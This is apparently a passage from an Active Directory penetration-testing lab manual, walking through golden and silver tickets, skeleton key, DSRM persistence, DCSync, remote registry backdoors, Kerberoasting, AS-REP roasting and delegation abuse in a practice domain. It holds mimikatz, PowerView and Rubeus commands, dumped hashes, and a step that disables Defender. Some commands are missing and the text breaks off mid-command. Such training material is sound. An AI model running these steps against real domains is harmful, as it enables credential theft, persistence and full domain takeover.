From the previous exercise, we have domain admin privileges, we dumped NTLM hashes from dcorp-
mgmt and used Over-pass the hash to start a PowerShell session as domain admin - svcadmin. Let’s use
below command to dump all the hashes on the domain controller. Remember that the below
commands need to be executed from a PowerShell session running with privileges of DA on your
machine 172.16.100.X. :
Now, on any machine even if it is not part of the domain but can reach dcorp-dc over network, we can
use the information from above command to create a Golden Ticket. Please note that the krbtgt account
password may be changed and the hash you get in the lab could be different from the one in this lab
manual:
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
PS C:\AD\Tools> ls \\dcorp-dc.dollarcorp.moneycorp.local\c$
Domain : dollarcorp.moneycorp.local
Manufacturer : Microsoft Corporation
Model : Virtual Machine
Name : DCORP-DC
PrimaryOwnerName : Windows User
TotalPhysicalMemory : 2147012608
Solution
From the information gathered in previous steps we have the hash for machine account of the domain
controller (dcorp-dc$). Using the below command, we can create a Silver Ticket that provides us access
to the HOST service of DC. Please note that the hash of dcorp-dc$ (RC4 in the below command) may be
different in the lab:
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Start a listener and Schedule and execute a task to run the reverse shell script:
On the listener:
PS C:\Windows\system32> hostname
dcorp-dc
PS C:\Windows\system32> whoami
nt authority\system
For accessing WMI, we need to create two tickets – one for HOST service and another for RPCSS.
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
SystemDirectory : C:\Windows\system32
Organization :
BuildNumber : 14393
RegisteredUser : Windows User
SerialNumber : 00377-60000-00000-AA730
Version : 10.0.14393
Solution
We can simply use the following mimikatz command to execute the attack. Note that the command
needs to be run with Domain Admin privileges. First we need to bypass AMSI and load mimikatz in
memory on the DC:
PS C:\AD\Tools\Tools> $sess
Id Name ComputerName ComputerType State ConfigurationName
Availability
Load the Invoke-Mimikatz script in the session, Run the below command on local machine:
PS C:\AD\Tools\Tools> Invoke-Command -FilePath C:\AD\Tools\Invoke-
Mimikatz.ps1 -Session $sess
mimikatz(powershell) # privilege::debug
Privilege '20' OK
mimikatz(powershell) # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK
Now we can log on to any machine as any user unless the DC is restarted (use mimikatz as password):
Solution
We can persist with administrative access on the DC once we have Domain Admin privileges by abusing
the DSRM administrator.
With the domain admin privileges obtained earlier, run the following commands on the DC to open a
PowerShell remoting session.
PS C:\AD\Tools\Tools> $sess
Id Name ComputerName ComputerType State ConfigurationName
Availability
Load the Invoke-Mimikatz script in the session, Run the below command on local machine:
PS C:\AD\Tools\Tools> Invoke-Command -FilePath C:\AD\Tools\Invoke-
Mimikatz.ps1 -Session $sess
We will extract the credentials from the SAM file from the DC. The Directory Services Restore Mode
(DSRM) password is mapped to the local Administrator on the DC:
PS C:\AD\Tools\Tools> Enter-PSSession -Session $sess
mimikatz(powershell) # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
mimikatz(powershell) # lsadump::sam
Domain : DCORP-DC
SysKey : 42576392bdfd82ec6fe49596468c5a40
Local SID : S-1-5-21-3509502581-3270126870-3180861407
SAMKey : 29eb454078a2aae37b81706f1acce211
The DSRM administrator is not allowed to logon to the DC from network. So we need to change the
logon behavior for the account by modifying registry on the DC. We can do this as follows:
Now from our local system we can just pass the hash for the DSRM administrator:
We can now access the dcorp-dc directly from the new session.
PS C:\Windows\System32> ls \\dcorp-dc.dollarcorp.moneycorp.local\c$
Solution
We can check if studentx has replication rights using the following PowerView command:
PS C:\AD\Tools> . .\PowerView.ps1
PS C:\AD\Tools> Get-ObjectAcl -DistinguishedName
"dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?
{($_.IdentityReference -match "studentx") -and (($_.ObjectType -match
'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}
If the studentx does not have replication rights, those rights can be added using the following command
from a Domain Administrator shell:
PS C:\AD\Tools> . .\PowerView.ps1
PS C:\AD\Tools> Add-ObjectAcl -TargetDistinguishedName
"dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName studentx -
Rights DCSync -Verbose
VERBOSE: Get-DomainSearcher search string:
LDAP://DC=dollarcorp,DC=moneycorp,DC=local
VERBOSE: Get-DomainSearcher search string:
LDAP://DC=dollarcorp,DC=moneycorp,DC=local
VERBOSE: Granting principal S-1-5-21-1874506631-3219952063-538504511-1227
'DCSync' on DC=dollarcorp,DC=moneycorp,DC=local
VERBOSE: Granting principal S-1-5-21-1874506631-3219952063-538504511-1227
'1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' rights on
DC=dollarcorp,DC=moneycorp,DC=local
VERBOSE: Granting principal S-1-5-21-1874506631-3219952063-538504511-1227
'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' rights on
DC=dollarcorp,DC=moneycorp,DC=local
VERBOSE: Granting principal S-1-5-21-1874506631-3219952063-538504511-1227
'89e95b76-444d-4c62-991a-0facbeda640c' rights on
DC=dollarcorp,DC=moneycorp,DC=local
Let’s check for the rights once again from a normal shell:
InheritedObjectType : All
ObjectDN : DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : DS-Replication-Get-Changes
IdentityReference : dcorp\studentx
IsInherited : False
ActiveDirectoryRights : ExtendedRight
PropagationFlags : None
ObjectFlags : ObjectAceTypePresent
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
ObjectSID : S-1-5-21-1874506631-3219952063-538504511
InheritedObjectType : All
ObjectDN : DC=dollarcorp,DC=moneycorp,DC=local
ObjectType : DS-Replication-Get-Changes-In-Filtered-Set
IdentityReference : dcorp\studentx
IsInherited : False
ActiveDirectoryRights : ExtendedRight
PropagationFlags : None
ObjectFlags : ObjectAceTypePresent
InheritanceFlags : None
InheritanceType : None
AccessControlType : Allow
ObjectSID : S-1-5-21-1874506631-3219952063-538504511
Sweet! Now, below command can be used as studentx to get the hashes of krbtgt user or any other
user:
** SAM ACCOUNT **
Credentials:
Hash NTLM: ff46a9d8bd66c6efd77603da26796f35
ntlm- 0: ff46a9d8bd66c6efd77603da26796f35
lm - 0: b14d886cf45e2efb5170d4d9c4085aa2
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 6cb7f438bf5c099fe4d029ebb5c6e08e
* Primary:Kerberos-Newer-Keys *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) :
e28b3a5c60e087c8489a410a1199235efaf3b9f125972c7a1e7618a7469bfd6a
aes128_hmac (4096) : 4cffc651ba557c963b71b49d1add2e6b
des_cbc_md5 (4096) : bf5d7319947f54c7
* Primary:Kerberos *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
Credentials
des_cbc_md5 : bf5d7319947f54c7
* Packages *
NTLM-Strong-NTOWF
[snip]
Solution
Once we have administrative privileges on a machine, we can modify security descriptors of services to
access the services without administrative privileges. Below command (to be run as Domain
Administrator) modifies the host security descriptors for WMI on the DC to allow studentx access to
WMI:
PS C:\AD\Tools> . C:\AD\Tools\RACE.ps1
PS C:\AD\Tools> Set-RemoteWMI -SamAccountName studentx -ComputerName dcorp-
dc.dollarcorp.moneycorp.local -namespace 'root\cimv2' -Verbose
SystemDirectory : C:\Windows\system32
Organization :
BuildNumber : 14393
RegisteredUser : Windows User
Similar modification can be done to PowerShell remoting configuration. (In rare cases, you may get an
I/O error while using the below command, please ignore it):
PS C:\AD\Tools> . C:\AD\Tools\RACE.ps1
PS C:\AD\Tools> Set-RemotePSRemoting –SamAccountName studentx -ComputerName
dcorp-dc.dollarcorp.moneycorp.local -Verbose
Now, we can run commands using PowerShell remoting on the DC without DA privileges:
To retrieve machine account hash without DA, first we need to modify permissions on the DC:
PS C:\AD\Tools> . C:\AD\Tools\RACE.ps1
PS C:\AD\Tools> Add-RemoteRegBackdoor -ComputerName dcorp-
dc.dollarcorp.moneycorp.local -Trustee studentx -Verbose
VERBOSE: [dcorp-dc.dollarcorp.moneycorp.local : ] Using trustee username
'studentx'
VERBOSE: [dcorp-dc.dollarcorp.moneycorp.local] Remote registry is not
running, attempting to start
VERBOSE: [dcorp-dc.dollarcorp.moneycorp.local] Attaching to remote registry
through StdRegProv
VERBOSE: [dcorp-dc.dollarcorp.moneycorp.local :
SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg] Backdooring
started for key
VERBOSE: [dcorp-dc.dollarcorp.moneycorp.local :
SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg] Creating ACE with
Access Mask of 983103
(ALL_ACCESS) and AceFlags of 2 (CONTAINER_INHERIT_ACE)
ComputerName BackdoorTrustee
------------ ---------------
dcorp-dc.dollarcorp.moneycorp.local studentx
PS C:\AD\Tools> . C:\AD\Tools\RACE.ps1
PS C:\AD\Tools> Get-RemoteMachineAccountHash -ComputerName dcorp-
dc.dollarcorp.moneycorp.local -Verbose
We can use the machine account hash to create Silver Tickets. Create Silver Tickets for HOST and RPCSS
using the machine account hash to execute WMI queries:
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
SystemDirectory : C:\Windows\system32
Organization :
BuildNumber : 14393
RegisteredUser : Windows User
SerialNumber : 00377-60000-00000-AA730
Version : 10.0.14393
Solution
We first need to find out services running with user accounts as the services running with machine
accounts have difficult passwords. We can use PowerView’s (Get-NetUser –SPN) or ActiveDirectory
module for discovering such services:
PS C:\AD\Tools> . .\PowerView.ps1
PS C:\AD\Tools> Get-NetUser -SPN
logoncount : 0
badpasswordtime : 12/31/1600 4:00:00 PM
description : Key Distribution Center Service Account
distinguishedname :
CN=krbtgt,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
objectclass : {top, person, organizationalPerson, user}
name : krbtgt
primarygroupid : 513
objectsid : S-1-5-21-1874506631-3219952063-538504511-502
whenchanged : 2/17/2019 7:16:56 AM
admincount : 1
codepage : 0
samaccounttype : 805306368
showinadvancedviewonly : True
accountexpires : 9223372036854775807
cn : krbtgt
adspath :
LDAP://CN=krbtgt,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
instancetype : 4
objectguid : bfe9a643-d7b1-4e17-87b9-8a8aacb7cff9
lastlogon : 12/31/1600 4:00:00 PM
lastlogoff : 12/31/1600 4:00:00 PM
samaccountname : krbtgt
objectcategory :
CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dscorepropagationdata : {2/19/2019 1:04:02 PM, 2/19/2019 12:55:49 PM,
2/17/2019 7:16:56 AM, 2/17/2019 7:01:46 AM...}
serviceprincipalname : kadmin/changepw
memberof : CN=Denied RODC Password Replication
Group,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
whencreated : 2/17/2019 7:01:46 AM
iscriticalsystemobject : True
badpwdcount : 0
useraccountcontrol : 514
usncreated : 12300
countrycode : 0
logoncount : 7
badpasswordtime : 12/31/1600 4:00:00 PM
distinguishedname : CN=web
svc,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
objectclass : {top, person, organizationalPerson, user}
displayname : web svc
lastlogontimestamp : 2/17/2019 5:35:01 AM
userprincipalname : websvc
name : web svc
objectsid : S-1-5-21-1874506631-3219952063-538504511-1113
samaccountname : websvc
codepage : 0
samaccounttype : 805306368
whenchanged : 2/17/2019 1:35:01 PM
accountexpires : 9223372036854775807
countrycode : 0
adspath : LDAP://CN=web
svc,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
instancetype : 4
usncreated : 14488
objectguid : 8862b451-0bc9-4b26-8ffb-65c803cc74e7
sn : svc
lastlogoff : 12/31/1600 4:00:00 PM
msds-allowedtodelegateto : {CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL,
CIFS/dcorp-mssql}
objectcategory :
CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dscorepropagationdata : {2/19/2019 1:04:02 PM, 2/19/2019 12:55:49 PM,
2/17/2019 1:01:06 PM, 1/1/1601 12:04:17 AM}
serviceprincipalname : {SNMP/ufc-adminsrv.dollarcorp.moneycorp.LOCAL,
SNMP/ufc-adminsrv}
givenname : web
lastlogon : 2/19/2019 4:09:40 AM
badpwdcount : 0
cn : web svc
useraccountcontrol : 16843264
whencreated : 2/17/2019 1:01:06 PM
primarygroupid : 513
pwdlastset : 2/17/2019 5:01:06 AM
usnchanged : 14677
logoncount : 8
badpasswordtime : 12/31/1600 4:00:00 PM
description : Account to be used for services which need high
privileges.
Neat! The svcadmin, which is a domain administrator has a SPN set! Let’s request a ticket for the
service:
PS C:\AD\Tools> klist
[snip]
PS C:\AD\Tools> . .\Invoke-Mimikatz.ps1
PS C:\AD\Tools> Invoke-Mimikatz -Command '"kerberos::list /export"'
Now, copy the the MSSQL ticket to the Kerberoast folder and offline crack the Service Account
Password:
Solution
Using PowerView dev version, we can enumerate users with Kerberos preauth disabled:
PS C:\AD\Tools> . .\PowerView_dev.ps1
PS C:\AD\Tools> Get-DomainUser -PreauthNotRequired -Verbose
VERBOSE: [Get-DomainSearcher] search base: LDAP://DCORP-
DC.DOLLARCORP.MONEYCORP.LOCAL/DC=DOLLARCORP,DC=MONEYCORP,DC=LOCAL
VERBOSE: [Get-DomainUser] Searching for user accounts that do not require
kerberos preauthenticate
VERBOSE: [Get-DomainUser] filter string:
(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=41943
04))
logoncount : 0
badpasswordtime : 12/31/1600 4:00:00 PM
distinguishedname :
CN=VPN1User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
objectclass : {top, person, organizationalPerson, user}
displayname : VPN1User
userprincipalname : VPN1user
name : VPN1User
objectsid : S-1-5-21-1874506631-3219952063-538504511-1191
samaccountname : VPN1user
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 2/18/2019 10:53:05 AM
instancetype : 4
usncreated : 38714
objectguid : c002538c-3644-4a9a-b9d5-d860c30e6d3d
sn : user
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory :
CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dscorepropagationdata : {2/19/2019 1:04:02 PM, 2/19/2019 12:55:49 PM,
2/18/2019 10:53:05 AM, 1/1/1601 12:04:17 AM}
givenname : VPN1
lastlogon : 12/31/1600 4:00:00 PM
badpwdcount : 0
logoncount : 0
badpasswordtime : 12/31/1600 4:00:00 PM
distinguishedname :
CN=VPN2User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
objectclass : {top, person, organizationalPerson, user}
displayname : VPN2User
userprincipalname : VPN2user
name : VPN2User
objectsid : S-1-5-21-1874506631-3219952063-538504511-1192
samaccountname : VPN2user
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 2/18/2019 10:53:05 AM
instancetype : 4
usncreated : 38721
objectguid : a0fb6e1d-b630-4b33-bed2-f079c919ad94
sn : user
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory :
CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dscorepropagationdata : {2/19/2019 1:04:02 PM, 2/19/2019 12:55:49 PM,
2/18/2019 10:53:05 AM, 1/1/1601 12:04:17 AM}
givenname : VPN2
lastlogon : 12/31/1600 4:00:00 PM
badpwdcount : 0
cn : VPN2User
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD,
DONT_REQ_PREAUTH
whencreated : 2/18/2019 10:53:05 AM
primarygroupid : 513
pwdlastset : 2/18/2019 2:53:05 AM
usnchanged : 38726
[snip]
Next, we can use Get-ASREPHash from ASREPRoast to request the crackable encrypted part (make sure
you replace X with your userid):
PS C:\AD\Tools> . .\ASREPRoast\ASREPRoast.ps1
PS C:\AD\Tools> Get-ASREPHash -UserName VPNxuser -Verbose
We can brute-force the encrypted blob offline, using John The Ripper. Using bleeding-jumbo of John
The Ripper. Using that (and building John) we can brute-force the hashes offline.
./john vpnxuser.txt --wordlist=wordlist.txt
Now, let’s enumerate those users where studentx has GenericWrite or GenericAll rights. Since studentx
is a part of the RDPUsers group:
PS C:\AD\Tools> . .\PowerView_dev.ps1
PS C:\AD\Tools> Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName
-match "RDPUsers"}
ObjectDN :
CN=Control1User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : GenericAll
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-1874506631-3219952063-538504511-1116
IdentityReferenceName : RDPUsers
IdentityReferenceDomain : dollarcorp.moneycorp.local
IdentityReferenceDN : CN=RDP
Users,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
IdentityReferenceClass : group
ObjectDN :
CN=Control3User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : GenericAll
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-1874506631-3219952063-538504511-1116
IdentityReferenceName : RDPUsers
IdentityReferenceDomain : dollarcorp.moneycorp.local
IdentityReferenceDN : CN=RDP
Users,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
IdentityReferenceClass : group
[snip]
Since RDPUsers has GenericAll rights over ControlXuser, let’s force set preauth not required to the
ControlXUser’s useraccountcontrol settings:
Next, we can use Get-ASREPHash from ASREPRoast to request the crackable encrypted part, as done
earlier:
Solution
Let’s check if studentx has permissions to set User Account Control settings for any user. As done
previously, we will also look if the RDPUsers group has interesting permissions :
PS C:\AD\Tools> . .\PowerView_dev.ps1
PS C:\AD\Tools> Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName
-match "RDPUsers"}
[snip]
ObjectDN :
CN=Support1User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : GenericAll
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-1874506631-3219952063-538504511-1116
IdentityReferenceName : RDPUsers
IdentityReferenceDomain : dollarcorp.moneycorp.local
IdentityReferenceDN : CN=RDP
Users,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
IdentityReferenceClass : group
ObjectDN :
CN=Support2User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : GenericAll
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-1874506631-3219952063-538504511-1116
IdentityReferenceName : RDPUsers
IdentityReferenceDomain : dollarcorp.moneycorp.local
IdentityReferenceDN : CN=RDP
Users,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
IdentityReferenceClass : group
ObjectDN :
CN=Support3User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
AceQualifier : AccessAllowed
serviceprincipalname
--------------------
Since studentX has GenericAll rights on the supportXuser, let’s force set a SPN on it:
serviceprincipalname
--------------------
dcorp/whateverX
Now, request a TGS for the SPN and save it for offline brute-force:
PS C:\AD\Tools> Add-Type -AssemblyName System.IdentityModel
Id : uuid-4ded9036-2f9d-4ec7-ad57-45d9e7c95315-3
SecurityKeys :
{System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom : 2/19/2019 2:17:22 PM
ValidTo : 2/19/2019 11:44:51 PM
ServicePrincipalName : dcorp/whateverX
SecurityKey :
System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
PS C:\AD\Tools> klist
[snip]
[snip]
[00000003] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 1/15/2019 9:40:23 AM ; 1/15/2019 4:42:30 PM ;
1/22/2019 6:42:30 AM
Server Name : dcorp/whateverX@ DOLLARCORP.MONEYCORP.LOCAL
Client Name : studentx @ DOLLARCORP.MONEYCORP.LOCAL
Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardable
;
* Saved to file : 3-40a10000-studentx@dcorp~whateverX-
DOLLARCORP.MONEYCORP.LOCAL.kirbi
[snip]
Task
• Find a server in the dcorp domain where Unconstrained Delegation is enabled.
• Access that server, wait for a Domain Admin to connect to that server and get Domain Admin
privileges.
Solution
We first need to find a server that has unconstrained delegation enabled:
Since the prerequisite for elevation using Unconstrained delegation is having admin access to the
machine, we need to compromise a user which has local admin access on appsrv. Recall that we
extracted NTLM hash of appadmin, srvadmin and websvc from dcorp-adminsrv. Let’s check if anyone of
them have local admin privileges on dcorp-appsrv:
PS C:\WINDOWS\system32> powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\WINDOWS\system32> cd C:\AD\Tools\
PS C:\AD\Tools> . .\Invoke-Mimikatz.ps1
PS C:\AD\Tools> Invoke-Mimikatz -Command '"sekurlsa::pth /user:appadmin
/domain:dollarcorp.moneycorp.local /ntlm:d549831a955fee51a43c83efb3928fa7
/run:powershell.exe"'
PS C:\AD\Tools> . .\PowerView.ps1
PS C:\AD\Tools> Find-LocalAdminAccess
dcorp-appsrv.dollarcorp.moneycorp.local
PS C:\AD\Tools> . .\Find-PSRemotingLocalAdminAccess.ps1
PS C:\AD\Tools> Find-PSRemotingLocalAdminAccess
dcorp-appsrv
[snip]
Sweet! Now, let’s run following mimikatz command in the new PowerShell session running as appadmin
to check if there is a Domain Admin ticket already present on it:
Create a userX directory where X is your userId to avoid overwriting tickets of other users:
Name
----
[0;3e4]-0-0-40a50000-DCORP-APPSRV$@cifs-dcorp-
dc.dollarcorp.moneycorp.local.kirbi
[0;3e4]-0-1-40a50000-DCORP-APPSRV$@ldap-dcorp-
dc.dollarcorp.moneycorp.local.kirbi
[0;3e4]-2-0-60a10000-DCORP-APPSRV$@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi
[0;3e4]-2-1-40e10000-DCORP-APPSRV$@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi
[0;3e7]-0-0-40a50000-DCORP-APPSRV$@ldap-dcorp-
dc.us.dollarcorp.moneycorp.local.kirbi
[0;3e7]-0-1-40a50000-DCORP-APPSRV$@cifs-dcorp-
dc.dollarcorp.moneycorp.local.kirbi
[0;3e7]-0-2-40a50000.kirbi
[0;3e7]-0-3-40a50000-DCORP-APPSRV$@LDAP-dcorp-
dc.dollarcorp.moneycorp.local.kirbi
[0;3e7]-2-0-40a50000-DCORP-APPSRV$@krbtgt-US.DOLLARCORP.MONEYCORP.LOCAL.kirbi
[0;3e7]-2-1-60a10000-DCORP-APPSRV$@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi
[0;3e7]-2-2-40e10000-DCORP-APPSRV$@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi
[snip]
No luck! We need to wait or trick a DA to access a resource on dcorp-adminsrv. We can use the
following PowerView command to wait for a particular DA to access a resource on dcorp-adminsrv:
[dcorp-appsrv.dollarcorp.moneycorp.local]: PS
C:\Users\appadmin\Documents\userX> Invoke-Mimikatz -Command '"sekurlsa::tickets
/export"'
[snip]
[dcorp-appsrv.dollarcorp.moneycorp.local]: PS
C:\Users\appadmin\Documents\user1> Invoke-Mimikatz -Command '"kerberos::ptt
C:\Users\appadmin\Documents\userX\[0;6f5638a]-2-0-60a10000-
Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi"'
mimikatz(powershell) # kerberos::ptt
C:\Users\appadmin\Documents\user1\[0;6f5638a]-2-0-60a10000-
Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi
* File: 'C:\Users\appadmin\Documents\user1\[0;6f5638a]-2-0-60a10000-
Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi': OK
[dcorp-appsrv.dollarcorp.moneycorp.local]:PS
C:\Users\appadmin\Documents\userX> Invoke-Command -
ScriptBlock{whoami;hostname} -computername dcorp-dc
dcorp\Administrator
dcorp-dc
We can also use the "Printer Bug" to abuse Unconstrained Delegation. This is very helpful, as in this case
we need not wait for a Domain Admin to connect to dcorp-appsrv.
Now, we will use the printer bug to force dcorp-dc to connect to dcorp-appsrv.
PS C:\Windows\system32> cd C:\Ad\Tools\
PS C:\AD\Tools> $appsrv1 = New-PSSession dcorp-appsrv
PS C:\AD\Tools> Enter-PSSession $appsrv1
[dcorp-appsrv]: PS C:\Users\appadmin\Documents> Set-MpPreference -
DisableRealtimeMonitoring $true
[dcorp-appsrv]: PS C:\Users\appadmin\Downloads> exit
PS C:\AD\Tools> Copy-Item -ToSession $appsrv1 -Path C:\AD\Tools\Rubeus.exe -
Destination C:\Users\appadmin\Downloads
PS C:\AD\Tools> Enter-PSSession $appsrv1
[dcorp-appsrv]: PS C:\Users\webmaster\Documents> cd ..\Downloads\
[dcorp-appsrv]: PS C:\Users\webmaster\Downloads> .\Rubeus.exe monitor
/interval:5 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
Next, run MS-RPRN.exe to abuse the printer bug. Run the below command from the student VM:
[snip]
User : Administrator@DOLLARCORP.MONEYCORP.LOCAL
[snip]
Base64EncodedTicket :
doIF3jCCBdqgAwIBBaEDA[snip]
User : appadmin@DOLLARCORP.MONEYCORP.LOCAL
[snip]
User : DCORP-DC$@DOLLARCORP.MONEYCORP.LOCAL
StartTime : 8/29/2020 5:36:57 PM
EndTime : 8/30/2020 3:36:57 AM
RenewTill : 9/4/2020 3:36:00 AM
Flags : name_canonicalize, pre_authent, renewable,
forwarded, forwardable
Base64EncodedTicket :
doIFxTCCBcGgAwIBBaEDA[snip]
We can copy Base64EncodedTicket, remove unnecessary spaces and newline, if any, using a text editor
and use the ticket with Rubes on our own machine.
PS C:\Ad\Tools> klist
We can now run DCSync attack against DCORP-DC using the injected ticket:
PS C:\AD\Tools> . .\Invoke-Mimikatz.ps1
PS C:\AD\Tools> Invoke-Mimikatz -Command '"lsadump::dcsync
/user:dcorp\krbtgt"'
** SAM ACCOUNT **
Credentials:
Hash NTLM: ff46a9d8bd66c6efd77603da26796f35
ntlm- 0: ff46a9d8bd66c6efd77603da26796f35
lm - 0: b14d886cf45e2efb5170d4d9c4085aa2
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 6cb7f438bf5c099fe4d029ebb5c6e08e
* Primary:Kerberos-Newer-Keys *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) :
e28b3a5c60e087c8489a410a1199235efaf3b9f125972c7a1e7618a7469bfd6a
aes128_hmac (4096) : 4cffc651ba557c963b71b49d1add2e6b
Task
● Enumerate users in the domain for whom Constrained Delegation is enabled.
− For such a user, request a TGT from the DC and obtain a TGS for the service to which
delegation is configured.
− Pass the ticket and access the service.
● Enumerate computer accounts in the domain for which Constrained Delegation is enabled.
− For such a user, request a TGT from the DC.
− Obtain an alternate TGS for LDAP service on the target machine.
− Use the TGS for executing DCSync attack.
Solution
To enumerate users with constrained delegation we can use PowerView dev:
PS C:\AD\Tools> . .\PowerView_dev.ps1
PS C:\AD\Tools> Get-DomainUser -TrustedToAuth
[snip]
logoncount : 7
badpasswordtime : 12/31/1600 4:00:00 PM
distinguishedname : CN=web
svc,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
objectclass : {top, person, organizationalPerson, user}
displayname : web svc
lastlogontimestamp : 2/17/2019 5:35:01 AM
userprincipalname : websvc
name : web svc
objectsid : S-1-5-21-1874506631-3219952063-538504511-1113
samaccountname : websvc
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 2/17/2019 1:35:01 PM
instancetype : 4
usncreated : 14488
objectguid : 8862b451-0bc9-4b26-8ffb-65c803cc74e7
sn : svc
lastlogoff : 12/31/1600 4:00:00 PM
msds-allowedtodelegateto : {CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL,
CIFS/dcorp-mssql}
objectcategory :
CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dscorepropagationdata : {2/19/2019 1:04:02 PM, 2/19/2019 12:55:49 PM,
2/17/2019 1:01:06 PM, 1/1/1601 12:04:17 AM}
serviceprincipalname : {SNMP/ufc-adminsrv.dollarcorp.moneycorp.LOCAL,
SNMP/ufc-adminsrv}
givenname : web
lastlogon : 2/19/2019 4:09:40 AM
We already have the hash of websvc from dcorp-admisrv machine. We can either use Kekeo or Rubeus
to abuse the hash of websvc.
Let's use Kekeo first. We can use the tgt::ask module from kekeo to request a TGT from websvc:
PS C:\AD\Tools> cd .\kekeo
PS C:\AD\Tools\kekeo\x64> .\kekeo.exe
Now, let’s use this TGT and request a TGS. Note that we are requesting a TGS to access cifs/dcorp-mssql
as the domain administrator - Administrator:
kekeo # tgs::s4u
/tgt:TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@
DOLLARCORP.MONEYCORP.LOCAL.kirbi
/user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-
mssql.dollarcorp.moneycorp.LOCAL
PS C:\AD\Tools\kekeo> . ..\Invoke-Mimikatz.ps1
PS C:\AD\Tools\kekeo\x64> Invoke-Mimikatz -Command '"kerberos::ptt
